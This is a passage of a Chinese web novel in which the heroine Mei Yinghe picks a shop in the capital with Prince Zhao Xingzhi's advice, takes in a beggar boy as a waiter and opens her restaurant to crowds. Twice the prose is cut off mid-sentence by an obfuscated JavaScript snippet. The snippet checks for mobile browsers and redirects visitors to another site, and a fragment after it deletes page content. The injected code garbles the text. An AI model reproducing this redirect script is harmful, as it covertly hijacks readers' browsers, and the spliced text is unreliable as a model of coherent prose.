小梅姐捧着一个大包袱,里头都是新裁制的衣裳、鞋袜,还有里衣样样俱全。 “九郎最放心不下的就是你。”小梅说。 梅映禾说没事,“咱们村子里安全得很,再说,大九走了还有小九呢。” 小九汪汪地叫着,摇着尾巴很有气势。 李婶儿笑说:“咱们两家离得近,这些日子全靠你们兄妹帮衬,咱们的日子也好过了,如今小梅日日和你一起,不如你去我们家住,或者你若愿意就让小梅搬过来陪着你,家里的琐事都交给李婶儿,你们尽管出去忙便是了。” “谢谢李婶儿,那我就不客气了。”赶明儿入京开食铺就要住到义父家里去,这里的房子就交给李婶儿一家打理,梅映禾也放心。 “这些日子你的铺位都让给了我,你在忙什么。”小梅问。 先前没有眉目,梅映禾没说过。每日只早出晚归,二人一起到了京城就各自分开,忙完之后再碰头一起回家。 “咱们村的事你也看到了,大家都在忙,奎叔不也去种地了吗,我看着差不多走上正轨了,这就出去忙着张罗宣传的事儿,咱们的东西这么好若是卖不出去,或者没人知道岂不可惜。” “是这个理儿没错,可是你有什么门路。”小梅问。 梅映禾掰着手指头数:“七哥算不算咱们在京城的门路,还有我义父。当然,那么大的官儿,府尹来着,小事我也不找他,所以我只去找了七哥。” “怎么样,他怎么说。”小梅兴起追问。 “哎。”梅映禾叹气,“去了几趟没见着人,说是最近军队里忙,我也不知道。” 赵行之一直都在忙着招兵的事,新兵入伍有太多事情要忙,训练强度也增大,他这些日子吃住都在军营里不曾回府。 待回到府中也是半个月之后了,听家丁回禀,心下了然,梅映禾在梅花村的举动他是知道的,心中佩服小娘子胸中有沟壑,眼光长远。 “胃口大得很呢。”这话是许且说的,脸上带着笑,好不自豪,“她瞄准的是整个京城市场,也来找过我,但说得很清楚,只是征询意见不让老夫插手,想自己试试。” 许老头儿一脸“我闺女就是厉害”的表情,看得赵行之不自觉跟着弯起嘴角,“那她来找我想必也是这事。” “也找你了?”许且瞪大了眼睛,赶忙叮嘱,“那云策一定得鼎力相助。” “那是自然。”赵行之点头。 再见面的时候是在夜市梅小早的摊铺上,梅映禾和小梅两个人忙得不亦乐乎,见到是他,梅映禾的一张小脸笑靥如花:“晋王殿下。” 赵行之脸一红,“还是叫七哥吧。” “成。”梅映禾爽快答应,随即就变脸,“七哥临走前说好了有事尽管找你,可是找不到人。” 她一脸委屈,眼中闪烁,很不高兴的样子。 自从赵行之离开梅家,他们也有一个多月没见面了,她如今也知道了他的身份,却没有半分疏离和陌生,一见面就和原先一样,该笑就笑,该哭就哭,该抱怨就抱怨。 赵行之的心一下子疏朗了许多,忙解释:“这些日子太忙了,是七哥不对,这样,这个玉佩是我从小用的,府中的人都识得,你拿着这个去找我,他们一定能带你找到我,不会耽搁了你的急事。” 还是那块玉佩,想来应当是御赐之物,那又何妨,耽误她个人的事小,耽误梅花村的事大。 梅映禾点头接过来,“一言为定。” 没有客套,直来直去,她这样的态度抚平了赵行之多日来忐忑的心情,他曾担心她会对他见外,或者没有从前那样好的关系…… 梅小早啊,真是一剂良药,治好了他胡思乱想的毛病。 梅花村的事赵行之答应帮忙,其实倒也不必刻意做什么,只在他平日的社交圈传播一下消息,常出入的酒楼,关系好的掌柜提一嘴“梅花村的蔬菜肉食极好”便足够了。 “这次不会让你去青楼楚馆发单子,七哥尽管放心。” “好,七哥一定办到。”赵行之问她,“你是想让梅花村能接到酒楼的生意,长期供货。” “对咯。”梅映禾点头,“梅花村的东西的确好,我日后开了铺子只用我们村自己的蔬菜果子肉。” “你的铺子?”赵行之好奇她的动作这么快吗。 “是啊,七哥都不关心我了,我已经找了牙行,看了几个铺子,正比较准备签下来呢。”梅映禾这几日忙得脚打后脑勺,连铺子都看得七七八八了,就差最后拍板。 “京城地界我熟,你看的哪几间,说来听听。” 梅映禾看看他,也是啊,他从小长在京城里,一定比她熟悉,于是拉着赵行之坐在路边,随手捡起一根小树枝在地上画起来: “常乐坊的这一间沿街铺面,地方不大,粗算一下最多十二小桌,一两个大桌,后头有院儿,先前是铁匠铺子,因为价高空置半年了。” “御街上光化坊这一间,其实是两间,地方大宽敞,能放四十多桌,但是有点儿太大了,价格自然也不低,但是位置最佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14144434|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,御街之上,人流量大。” “还有一间在宣平坊,地方偏了一点,面积不大不小刚刚好,能放三十桌,后头有院还有两间房,都可以住人,价格也是最低。” 梅映禾一一描述详情,“至于先前的租户,都是干净的生意,人也都走了。倒是宣平坊这里最紧俏,或许是因为租金最低的缘故吧。” “宣平坊不行,地方太偏,人气不够。”赵行之接过她手里的树枝,在宣平坊的铺子上打了个大大的叉,“剩下的光化坊御街上虽然人多,但是各种营生都有,不适合你。” 梅映禾明白,他说的是秦楼楚馆之类的地方,大隶开放,这些地方夜夜笙歌,连带着附近铺子的生意都跟着火起来。 其实梅映禾也觉得这里对她现在的实力而言太高攀了。 “那就只有常乐坊这里了。”梅映禾问,“七哥觉得这里如何。” “距离皇宫不算太远,又是上下朝的必经之路,周围的宅舍都是富庶之家,算是太平富贵的,而且这条路直通宝相寺、净慧院和城外的桃花蒲,还有护城河,灯节的时候甚是热闹,这里最佳。” 赵行之分析得跟梅映禾想的一样,常乐坊这里平日不缺人,节日的时候更是人多,是最佳选择。 “你担心银子吗。”他问。 “怎么能不担心,我粗算了一下,去掉一年的租银,还要再把铺子里打理整修一番吧,还要购置新的灶具、碗筷、桌椅等等物品,都花出去手里就没什么剩余了,最多还能剩下一百文。” 的确捉襟见肘了。 “可是我还要采买菜肉米面食品,不然做什么,吃什么。” 梅映禾发愁。 赵行之了解她的性子,若是他直接提出来给予帮助,梅映禾不会收的。 “你不是说要用梅花村的菜肉果子吗,倒不如先不用给银子,月结。”赵行之帮她想办法,“虽然看上去你占了便宜,可是到最后银子一分也不会少。而且这也是一种做生意的方式,让其他酒楼看看,梅花村的东西不但好还能先用后付银子。” 先用后买,好家伙,哥好脑子。 梅映禾一激动差点儿搂着他转圈,“对啊,我怎么没想到呢,我和梅花村合作不就是给其他酒楼食铺打样板吗,好主意,这样我也可以省下一笔启动资金,再加上抽成和料包的钱,还有小梅姐早食、夜市的分成,说一个月有些吹牛了,三个月吧,一定缓过来了。” “名字可想好了。”赵行之问。 “好吃食铺。”梅映禾十分自信骄傲,“我约了义父帮我写匾额。” 赵行之:…… 同情许大人。 行吧,她喜欢就是最好的。 “到时候七哥送你一份开业贺礼。” “一言为定。” “是什么,透露一下。” “保密,但你肯定喜欢。” “真的吗,哎呀,说说吗。” “不说不说,耐心等待。” …… 夜幕之下,二人你挤我我挤你,一路推推搡搡打打闹闹的身影消失在夜色里。 25. 阿十 梅映禾的铺子拿到手了,落了手印交了钥匙,心里总算踏实下来。 等哥哥回来,一定惊喜。梅映禾想,看着眼前空荡荡的屋子开始筹划布局和装修。 暖阳照进室内,将空屋照得亮堂堂的,地上是她的影子,长高了也胖了一些。 小梅借来了尺,二人蹲在地上一点一点丈量,进门处就是接待台,迎来送往收银结账都很方便。三扇门全部打开,旁边的窗户也打通,一层凉簟一层纱帘,这个时节还不算太冷,敞开来更舒服,等到了冬日便将扇板装上,保暖。 屋子里靠墙都是四人六人的方桌,中间是两人的小桌,若是不够坐还可以自行拼桌,最里头隔出来两间房,放两张圆桌。 为了看上去好看也好打理,梅映禾一咬牙一跺脚,墙面全部用原木,上头砸了钉子挂字画,挂花草篮子,客人还可以挂衣裳帽子什么的,节省空间,毕竟坪效最重要。 地方不算大,还算雅致干净,可就这么十来桌客人,只靠着梅映禾和小梅两个人是肯定忙不过来的。梅映禾在后厨,小梅负责收银,最少还得需要两个跑堂的两个刷碗的。 “刷碗的可以暂且缓一缓,等我不忙了可以刷,大不了多买些餐具,现在手里银子不多,能省就省了,日后再说。”梅映禾托着腮,“跑堂的倒是省不了,最起码得先招一个。” 二人坐在店内盘算,手里捏着辣条和薯条慢慢嚼着晒太阳。 梅映禾说:“早食和夜市你再做几日,我瞧着这一个多月来村长那边进行得很顺利,籍属证明都发下去了,大家出入自由,做加盟的几家做得也很不错,回头让他们都出来历练历练,接手早食夜市,咱们就专心做这个食铺,你觉得可好。” 小梅自然应下,“我听你的,赚银子倒在其次,主要是能跟你在一起,我心里就踏实。” 哟哟哟,这话说的,梅映禾学着小梅的嗓音,道:“是跟我在一起吗,是跟九哥在一起吧……” 二人笑闹着,欢乐的声音和食物的香气一同飘散在空气里,迎接来了第一位客人。 “对不住,小店还没开张,过几日……” 梅映禾想拒绝,却看到对方竟是一个小乞丐,进来是为了乞食的。 听她这么一说,小乞丐滞住了脚步转身想走,一脸的尴尬和无奈。 “等一下。”梅映禾叫住他,将人带进店里。 仔细打量,大约是个十三四岁的男孩子,脚上没了鞋子,衣裳都破了却没有很脏,看来是行乞不久。 “你叫什么名字,从哪里来,家中还有什么人,今年多大了。” 她一口气问出来,少年愣住了,没敢回答。 “问你就照实说,我不是坏人。”梅映禾略微欠身,和他保持平视。 少年长着一双水汪汪的大眼睛,看着她怯生生道:“我叫杜二狗。” 小九汪汪叫了两声,似乎对这个名字格外介意,梅映禾示意它安静,少年继续道:“老家苏北,闹了山贼,跟着爹娘一路逃荒到京城,爹娘都染了病死了……我,我实在太饿了。” 少年今年十四了,可是瘦弱的身子像个小学生。 梅映禾不忍心,忙让他坐下,把中午二人吃的卤肉饭还剩下一些热了热,又煮了一碗甜羹补补糖分,和小梅一起看着他狼吞虎咽地吃下,二人对视一眼,彼此都明白了对方的想法。 梅映禾道:“你有什么打算?日后如何谋生,在京城可有亲人投奔。” 少年眼神亮了一瞬,又低头摇头,“阿爹说许多年前,我还没有出生的时候曾救过一对夫妻,那人如今在京城做大官,可是,我不认识人家。” 这到哪里去寻,更何况他阿爹阿娘都已去世,就算是寻到恐怕也难以叙旧辨认。 “这样吧。”梅映禾拍拍手,“你若是不嫌弃就留下来做个跑堂吧,算是赁人,不做奴仆,所以身契、籍属什么的,你自己留好,我这里管吃,住吗……” “我可以睡在地上。”少年眼中泛起泪光,“阿姐是东家吧,我什么都能做,请阿姐留下我。” 少年扑通一声跪下就朝梅映禾磕头。 这可使不得,这么个半大孩子朝自己磕头,梅映禾还是很不习惯,折寿折寿。 忙把人扶起来,上下打量了一下,皮肤黑了点长得却是眉清目秀的,“咱们有缘,我这里没什么重活儿,就是小食铺,你若是愿意,我还可以教你做饭炒菜算是门手艺。” 小九在一旁围着少年汪汪叫个没完,尾巴都摇出了虚影,梅映禾抱起它,“它叫小九,它很喜欢你。我给你换个名字,按照入门顺序,你就叫阿十吧。” “扑哧”一声,小梅笑出声,梅映禾这才后知后觉,“哦,这个发音有歧义,咱们换一个,不……” “不用换,阿十,我很喜欢,圆圆满满,谢谢东家阿姐。”少年高兴地直抹眼泪,一张脸黑里透红。 嘿,是个会说话的,这人算是选对了。 梅映禾当即帮阿十打水让他沐浴,又给他买了两身新衣裳,人收拾利索再看,呵,神清气爽,眼睛里就透着机灵劲儿,小伙儿将来妥妥的帅哥一枚。 小梅领着阿十转了一圈,详细介绍了铺子的里里外外,又教他见了客人如何打招呼,怎么跟客人聊天,什么时候说话合适不惹人烦,还有怎么介绍菜品,怎么向客人推荐菜品等等,俨然一位业内资深人士。 梅映禾看着二人忙前忙后煞有介事的样子心中感叹,这才几个月,小梅就已经从村里傻大妞摇身一变成为一名合格的大堂经理,不愧是我啊,教得真好。 小梅自然不知她在吹自己的彩虹屁,冲她笑了一下,骄傲地对阿十说:“你放心,这菜谱里的菜品咱们东家一定都会做来,咱们先试吃的,这样才好知道咸甜酸辣,客人问起也能推荐合适的口味,东家可大方呢。” 呵,又一个彩虹屁,梅映禾很受用,手里的菜单立马决定不改了,且今晚三人就吃这佛跳墙、糟糠之鱼和大闸蟹。 之所以这么奢侈也是有原因的,菜单已经定下,从拿手的东坡肉、地锅鸡、葱爆羊肉、金汤肥牛到佛跳墙、大闸蟹,物种丰富齐全,还考虑到这里是京城,聚集了南来北往的人,又加了地方名菜系列,比如西湖醋鱼、大煮干丝、把子肉、水八仙等,自然不能忘记了梅小早特色的小吃和早食,如此,所有的蛋禽肉类和蔬菜都从梅花村订购,每日定时送来,全都是最新鲜的。 只有这鱼类海鲜是梅花村没有的,定了几家供货的鱼贩,所以要试一试新鲜程度。 生活随意的梅映禾在菜品上却是个十分严苛的人,打她手里出去的必得是自己品尝过且觉得很好的,哪怕推迟几日开张营业,也不能将不自信的东西端上客人的餐桌。 糟糠之鱼所谓糟糠:糟,酒滓也,其实就是做酒剩下的渣子,以糟入馔,用的是酿造黄酒所剩的余滓,味道很是别致。 鱼选鲫鱼,宰杀洗净但不去鳞,首尾相接层层码放,锅中间留一空隙,放入葱、姜、茴香、大料、花椒、醋、酱油等,大火烧开小火慢炖,需三个时辰,中途要浇糟水汤汁,成品鱼体完整、肉质松软,鲜而不腥,香而不腻,色香味俱佳,是一道非常受欢迎的宴席菜。 鱼的味道弥漫整个屋子,连小九都急得汪汪直叫。 梅映禾不紧不慢地看着锅炖着佛跳墙。海参、猪蹄筋、红枣、鱼翅、鱼皮、栗子、香菇、蹄膀、筋肉等十几种昂贵的配料,先熬鸡汁,再放配菜慢慢熬煮,香醇甘美,齿颊留香。 “这可是一道富贵菜。”小梅是看着她配料烹煮的,光是那些食材都大补得很,“长这么大都没吃过。” “那刚好今日尝尝,咱们都补补身子,也算是迎接阿十的加入。”梅映禾笑着看向少年,少年羞涩,被看得红了脸,笑得很是灿烂。 跟着东家能吃好的,没什么比这个更幸福的了,阿十想,干活更卖力了。 再看一眼旁边的炉子上,正在蒸着大闸蟹,少年似乎对那个更感兴趣。 梅映禾说:“这蟹恐怕上不了多久,时节菜,吃个新 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他张口提及梅九畴,不等梅映禾开口,小梅赶紧呼啦啦扒拉完米饭,起身道:“七郎还没吃饭吧,刚好今日做了好吃的,我们才刚吃,那蟹,还没动。” 满眼的美食,满屋子香气,佑安都看直了眼,赵行之自然地坐下,小梅送上碗筷餐具。 别处又不是没有吃的……梅映禾翻了个白眼看着小梅,一说到哥哥她就没了立场,叛徒。 想归想,面上仍旧是露出笑脸,梅映禾道:“残羹冷炙,哪里能让七哥吃我们的剩菜呢,我这……” “无碍,闻着好香。”赵行之举箸开吃,还不忘冲小梅道:“你坐下吃你的,跟你说说九郎的事。” 一边还招呼,“佑安,过来一起吃,小早做的饭可是香掉眉毛的。” “嗳,谢王爷,谢梅小娘子。”佑安愉快地加入了。 自从认识了梅小娘子,王爷的厌食症一去不复返了,现在简直胃口好得不行。如今算是见识了,这梅小娘子做的饭菜是真的香。 赵行之有些意外,没想到小早除了小吃早食和零食以外,竟还能做这种成席面的菜色,色香味俱全,大气、香浓,很是上得了台面。 “王爷,九哥他……”小梅倒是毫不掩饰对梅九畴的关心。 梅映禾也支起耳朵来听。 “他如今混得风生水起,武艺好,身体底子也好,性情豪爽,在军营的几次操练和对战上已经崭露头角了。”赵行之说道,听的小梅高兴地直咧嘴。 “我来说。”佑安接过话头,“只要他坚持下去,一定能出头。” “什么叫坚持下去。”小梅疑惑,“他要去打仗吗,有危险吗?” “现在不用,但……” 佑安看了一眼自家王爷的眼色,挪了挪木凳,拉着小梅说小话去了。 “哎,我听不见……” “你这里可有菜谱。”赵行之拉着梅映禾打断了她的抗议。 “有啊,七哥要看吗。” 赵行之点头,梅映禾拿来菜单,“这可是我今日才敲定的,七哥觉得如何。” 她坐在他身边,身子往他那边靠了靠,靠了又靠。 一股温热的香气润物细无声地飘散过来,赵行之敛神又敛神,这才强迫自己专心于菜谱之上。 “不错,都是成席面的大菜。”赵行之看着梅映禾,“只是还不成席。” “因为店铺太小了。”梅映禾道,“只要银子到位,多大的席面都没问题。” 她倒还真不是夸海口,上一世的梅映禾可是这个行当里的翘楚。 “好,甚好。”赵行之道,“那你就等着吧。” “等什么。”梅映禾问。 赵行之不语,米饭也不吃了,端起花雕酒直奔大闸蟹而去,却被眼疾手快的梅映禾拦住了。 26. “对不起,小店没吃的了。”^…… 这一餐饭吃得很合胃口,赵行之吃了两大碗饭,把一身的疲惫和不耐都消化掉了,整个人也恢复了元气。 盘碗皆空之后,梅映禾露出笑脸,作为厨师生平又很节俭,最是看不得人浪费食物。 这位尊贵的殿下倒是有个不剩饭菜的好习惯。 再一转眼,看到了和一碟子螃蟹面面相觑的赵行之。 梅映禾:…… 难道这世上会有人不爱吃螃蟹吗,梅映禾腹诽,一边拿着蟹八件不慌不忙地抠螃蟹吃,一边还要砸一口烫热了的花雕酒,还一边试探他: “这个螃蟹可是肥美得很,七哥看,膏脂肥厚黄多肉满。” 所言的确不虚,这卖螃蟹的商贩为了拉住一个长期合作的店家,可谓是拿出了压箱底的好货。 可这却把晋王殿下难住了,赵行之从小到大吃的都是剥了壳的蟹肉蟹黄和蟹膏,并不曾留意这些东西究竟是怎么扒拉出来的。 再看看梅映禾,一边吃还一边用壳子一点一点拼出一个蟹壳来,当真是绝妙。 “小娘子是如何做到的。”佑安震惊,倒是问出了赵行之的心里话。 梅映禾脸上露出得意的笑:“我教你。” 话是冲着佑安说的,眼神看得却是赵行之。 蟹子肥美,看着她手里颤黄澄澄的蟹黄、颤悠悠的蟹膏、厚重饱满的蟹肉,还有那琥珀色的花雕……赵行之收回眼神,不语。 堂堂大男人怎么能叫一个小娘子教吃螃蟹,传出去岂不丢人。 磨不开面子跟她学扒蟹壳,这肥美的大螃蟹赵行之今日是吃不成了。 赵行之幽怨地看了一眼专心致志学吃螃蟹的佑安,那小子正觍着脸跟梅映禾学用蟹八件,为了口吃的丝毫不顾面子。 “七哥怎么不吃呢。”梅映禾问,“今日的螃蟹好吃得很,对吧佑安。” 佑安眼皮都没抬,点头如捣蒜:“对对对,好吃。” 好吃你个头。 赵行之起身:“本王不爱吃捧蟹,先回了。” 话音落,人已经不见了踪影。独留佑安在座位上愣住了,王爷走了,那他也得走了,可是手里吃了一半的螃蟹怎么也舍不得放下,想哭。 梅映禾赶忙拿来兜子,“拿走,都带走,蘸料和这半壶花雕也都给你打包,还有七哥的蟹,他不吃也给你。” 每人两只蟹一公一母,佑安吃了半只母蟹,梅映禾又给了装了两只公蟹和一只母蟹,这才看到佑安重又露出笑容的脸: “小娘子人真好。” 望着佑安乐不可支的背影,小梅直摇头,惋惜道:“这富贵人家就是这点儿不好,太挑嘴,这么好的螃蟹都不爱吃,真不知好歹。” 对,就是不知好歹。梅映禾也这么想,“咱们继续,阿十多吃两个。” 一直默默干饭的阿十这才抬起头露出一脸憨厚的笑:“谢东家阿姐。” 酒足饭饱,阿十说什么都不让梅映禾和小梅再动手,一个人麻利地收拾洗刷。梅映禾捧着一杯姜茶直夸他: “小伙子伶俐又勤快,好好学手艺,将来必定有出息。” 阿十羞红了脸。 下午给阿十买了被褥寝具,梅映禾和小梅一起把院子东南角原先做柴房的空屋子打扫干净,简单用木板搭了个床铺,阿十今晚便算是有个地方能睡觉了。 当晚,梅映禾和小梅一起回了许府住下。梅映禾自然不会忘了给义父带螃蟹和花雕,并着晚上刚炒好的几样小菜,正在翘首以盼的老头儿乐得直拍手,管家说:“大人还有一堆文书要看,可就是不肯去书房,非要等着小娘子们回来。” 没白等,梅映禾亲手将酒菜送上,父女两个聊了两句,许且念着她白日太忙催着她去睡觉,梅映禾这才回了属于自己的住处。 这算是她的一个家了吧,梅映禾很是感慨,竟然能在京城有了容身之地。义父给她准备的是一个单独的小院儿,正房是套间,用屏风隔开,耳房将原先的书房改成了灶房,算是给她量身定制的,里头一排一排隔板和一个一个立柜,用来存储和码放东西再好不过了。 当晚二人洗漱后很快便睡下了,第二日梅映禾起了个大早,管家说大人忙了一夜,才刚睡下,梅映禾和小梅便轻轻出门去,临走交代管家熬些养身补气的粥给义父,说自己晚上还会带来好吃的,管家乐道:“大人是个有福气,能有小娘子这般孝敬他,晚年也是幸福的。” 梅映禾和梅九畴又何尝不是幸运的人呢。 到了铺子上,天色已然大亮。本以为阿十还没起床,少年人贪睡也是正常。谁知门窗已经打开通风,阿十忙碌的身影正在店里擦拭打扫,一切都已准备就绪。 见了她们,阿十笑道:“二位阿姐,厨房里的菜已经收拾出来了,想着东家阿姐要用的肉也已经洗了泡了,柴也劈好了,应当是够用的。” 阳光下,少年人的额角渗出汗水,脸上带着羞涩的笑容。 多好的孩子,一大清早起来就忙活完了所有的活儿,真是惹人疼。 “坐着吧,阿姐们也没吃早食,我去煮面。”梅映禾撸起袖子就去了灶房。 不一会儿,热气腾腾的面就出锅,深赭色的汤底在太阳底下发出琥珀般的光芒,细细的面条上躺着橙红色的溏心蛋、几个小排和青菜,看着就诱人。 三个大碗,阿十的分量最多,还有一个小碗,那是小九的。几人闷头干饭,直到盘碗皆空,一个个都露出餍足的笑。 “东家阿姐,咱们铺子什么时候开张。”阿十问。 其实早就准备好了,梅映禾只是不想让自己太累,所以慢慢悠悠地一点一点收拾些边边角角,“过两日吧。” 看了一眼街上逐渐多起来的人,梅映禾拉着小梅出门去了。 有阿十看店,这便可以说走就走了。 二人忙活一上午,给店里添置一些零零碎碎的小东西,专门用来擦桌子的软布,多准备一些也好时时刻刻保持干净,让食客们看了心里也会更舒服更放心。又买了几盆花做点缀,更重要的是给阿十买了正儿八经的床、衣柜和桌椅,还给他的小屋扯了布做窗帘、门帘,再给少年多添了两身衣裳,整日都要干活儿的人,多几套方便换洗。 梅映禾还不忘买了几本有关吃和食材的书,阿十识字,是个好苗子,梅映禾打算好好培养他。 三日后,好吃食铺正式开张。 门口挂了彩旗和灯笼,义父写的牌匾还蒙上了大红绸子布,舞狮在铺子门口热闹了一个早上,梅映禾特意让阿十在门口发牛轧糖和果子点心,聚拢了好些人。 吉时到,梅映禾拜了财神爷,揭了牌匾又给狮子点了睛,阿十点了炮仗,一阵热热闹闹欢天喜地之中,算是完成了小小的开张仪式。 激动得小梅直抹眼泪,“做梦都想不到,竟然成真了。只可惜你哥哥看不到。” 梅映禾:…… 这话听着有点儿别扭。 赶紧抱着胳膊安慰她,“往后会越来越好的,哥哥不在,未来嫂嫂在也是一样的。” 一句话换来了小梅的大红脸,羞涩地甩开她的手忙着招呼客人去了。 这间铺子是梅映禾和梅九畴积攒下来的银子置办起来的,小梅也添了一些,虽说不多可十分救急,不然不能处处这样齐整、周全。所以,梅映禾给了小梅股份,除此以外还有月俸可以领,包括阿十也是有月俸的。 至今仍旧无法适应奴仆和身契的梅映禾,对于干活领工资觉得是天经地义,可小梅和阿十却怎么都接受不了,白吃白住还要拿银子,脸皮怎么能那么厚呢。 梅映禾说得口干舌燥,二人的头依旧摇得似拨浪鼓。无奈,梅映禾只能该做账做账,该分成的分成,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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该花的钱不能省,梅映禾趁着空当儿,又将柜子里存放的菜和肉都拿了出来。原先计算过第一日开张能用多少菜多少肉,这下必须得增加,好在先前多备了一些。 灶房里火力全开,煎炒烹炸梅映禾一个人忙得不可开交,叮叮呛呛锅碗瓢勺的声音,滋里哗啦油锅里炒菜的声音,还有浓郁的香气飘散,大厅里的食客越发期待了,大家议论纷纷,梅映禾在灶房,间隙中还能听到前头店铺里传来的热闹的讨论声,人越来越多了。 阿十忙着跑前跑后地上菜,还不忘向梅映禾传递前头的情况: “门口排起了双队,已经拐到街口了。” “阿姐的红烧排骨实在太好卖了,几乎每一桌都点。” “九号桌的客人又加了两个菜,这是单子,阿姐别忘了。” …… 老客不少,新客更多,大家彼此熟悉,等得也不着急,吃着喝着聊着,气氛十分融洽。 可真是忙坏了里里外外的三个人,梅映禾看了一眼小梅和阿十,决定今日下午就得张贴告示,招人,厨子、洗碗工,都要。 “阿姐,咱们的柠檬饮子快没了,我直接给客人上茶了可好?”阿十跑来问。 梅映禾点头,“好好好。” “阿姐,零食也吃得差不多了。” “阿姐,又来了一批人,像是刚下职的官人。” “阿姐,来了几个家仆,问能不能做好了打包带回府中去吃。” …… 完了,梅映禾看着一点一点用没了的菜和肉,食材不够了。 都怪自己,原本想着没怎么大肆宣传,精打细算后就只备下了一天半的食材,这样的天气蔬菜和肉放久了不新鲜了,梅映禾是懂得节俭的。 可万万没想到,才中午这一餐竟然就要用完了。 撩开传菜的小窗帘,梅映禾朝外头看了一眼,完了,指定不够了,怎么办。眼看着肉菜突突突地消耗殆尽,梅映禾心里开始着急,就算现在出去买都没人能腾出手来。 这第一日开张总不能告诉客人:“对不起,小店没吃的了。” 27. 赚钱啦 脑子里嗡嗡作响,梅映禾后悔不迭,可是又想不出办法来。 真的要去跟客人们说没菜了吗,少赚些银子倒是无所谓,可是人家会失望的吧,排了那么久的队结果吃不上,若是换成她自己…… 哎呀,崩溃。 梅映禾被极度自责的情绪席卷,整个人变得恹恹的。 “东家。”阿十龙卷风一样兴冲冲跑来,脸上满是汗水,“外头,有人送菜来了。” 送菜?谁? 梅映禾急匆匆往外走,一边走一边在围裙上擦手,“是谁送来的。” 从灶房到铺子门口十几步的路,梅映禾仿佛走了一个世纪。 铺子门口停着几辆车,盖布掀起来,满满的蔬菜瓜果和肉就在阳光下,红的红,绿的绿,透着一股子熟悉的鲜活劲儿。 “村长,奎叔。”梅映禾听到了自己颤抖的声音,那一刻仿佛溺水的人看到了救生员一样,她又可以了。 店门外,奎叔已经开始张罗卸货了,“小早,村长不放心,非要再给你送一趟菜来。刚好你婶子惦记着你们让我跟来看看。” 奎叔一边卸货一边往店里看,“哟,这么多人呢,小梅还当掌柜呢,这还排着队,呵,好,多亏给你们送来了。” 大家赶紧帮忙搭把手,梅映禾说:“你们简直就是天兵天将,眼看着肉菜都要用完了,你们若是不来我可真就要哭了。” 村长咂咂嘴,“怎么能叫你哭呢,这些菜你留够,剩下的我们带走,你这里不好放,村子里的地窖里能存放的时间长一些,明儿再送新的过来。” 几人这边忙活着,店外头正在排队的食客们也都纷纷跑来看热闹: “哟,这菜真是不错,新鲜得很。” “是,肉也好,小娘子可愿意转手卖给我。” “不知道价格几何,公道不公道。” 梅映禾赶紧介绍:“这是梅花村的肉和菜,都是最新鲜的,我食铺里只用我们村的菜和肉。价格自然是最公道的,这位是我们村长,今日送来的菜肉多得很,大家想买就找村长。” 将老村长推出来,梅映禾又介绍:“村子里的肉菜蛋禽都是统一养殖种植的,白天黑夜有人看着,最是新鲜不过了,我对食材很严苛,大家绝对可以相信我。” 好一通宣传,说得大家眼馋,纷纷过来问价格,果然物美价廉,一时间排队无聊的人也都围拢过来,拉着村长开始买菜买肉,生怕慢了被人抢走了。 梅映禾继续回灶房去忙碌,外头交给小梅姐和奎叔、阿十他们,转身的时候她听到了奎叔对小梅姐的夸赞: “我闺女可真厉害啊,都能当掌柜了。” “那是,阿爹跟阿娘以后就等着享福吧。” …… 小梅姐已经从那个傻乎乎直愣愣的村丫头变成了她的大掌柜,算账、理货、迎来送往面面俱到。而她,如今也有了自己的食铺子,哥哥也吃上了皇粮,如愿以偿地当了兵士。梅花村也开始见了成果……真好,一切都在慢慢变好,梅映禾心里很满足,这种看着身边的人一点一点地改变和进步,从无到有慢慢积累起来的过程,真的很让人踏实。 直到忙过午食,门口没了排队的食客,店里头也剩下三四桌还没吃完的客人,梅映禾这才从灶房里走出来透口气。 “一共两千两百文。”这是小梅看见她的第一句话,人已经笑得合不拢嘴了。 这么多银子倒是梅映禾意料之外的,再细想想,翻台率高的话,倒也不是没有可能。 “你不会一早上都在算账吧。”梅映禾挑着眉毛看她。 小梅不好意思地点点头,“结账一桌我就算一次,刚才又总共算了三遍,错不了。” 然后又压低声音,附耳道:“算上这几桌,能到两千五百文,晚食人更多,一日就能入账五千文就是两,两日就是十两。” 真是可观的收入,梅映禾的疲惫顿时一扫而空,这么下去很快她就能…… “你也该置办一身像样的衣裳了,毕竟现在是东家了。”小梅看着她说,“首饰也该来几件。” 梅映禾笑着摇头,“菜钱肉钱房租都是银子,日后的花销大着呢,我的衣裳挺好的,穿旧衣舒服,干活方便。店里还得请人,处处都需要银子……” 梅映禾坐下,阿十端来茶水给她,“银子还是攒起来吧。” “抠门。”小梅笑笑,倒也没反对她。 她是抠门,可是里里外外都要银子,不抠门没办法,老百姓的日子不就这么一点一点攒起来的吗,更何况这个时代没有退休金也没有养老保险,日后老了、生病了……可不都是花银子的时候。 梅映禾喝了一口茶,慢慢道:“手里有银子,心里才踏实。” “小,小早。” 一个熟悉的声音,梅映禾转头一看,一袭书院发的青衫洗得有些发白了,秀才正站在铺子门口,一脸窘迫怀里还抱着两个卷轴,十分局促不安的样子。 “秀才哥。”梅映禾还未上前,小梅一个箭步就冲到了她身前,挡在了她和秀才之间,“你来做甚,难不成要闹事。” 秀才的脸更红了,忙解释:“没有,不是的,我是来恭喜小早的。还带了贺礼来,是我自己写的对联,希望你不要嫌弃。” “不用了,你拿走吧,别回头你娘再来店里闹,说我们偷你家的东西。”小梅气势汹汹。 秀才赶紧摆手:“上次的事情我已经跟我娘说清楚了,她不会了,这个,是我的一点儿心意……” 来者都是客,梅映禾拉了拉小梅的胳膊,“先让秀才哥进来说话吧。” 转头又问,“你吃了吗,想吃什么,我去给你做。” 秀才道:“不用了,在书院里吃过了,只是来送贺礼的,我……” “梅小早,恭喜恭喜。” 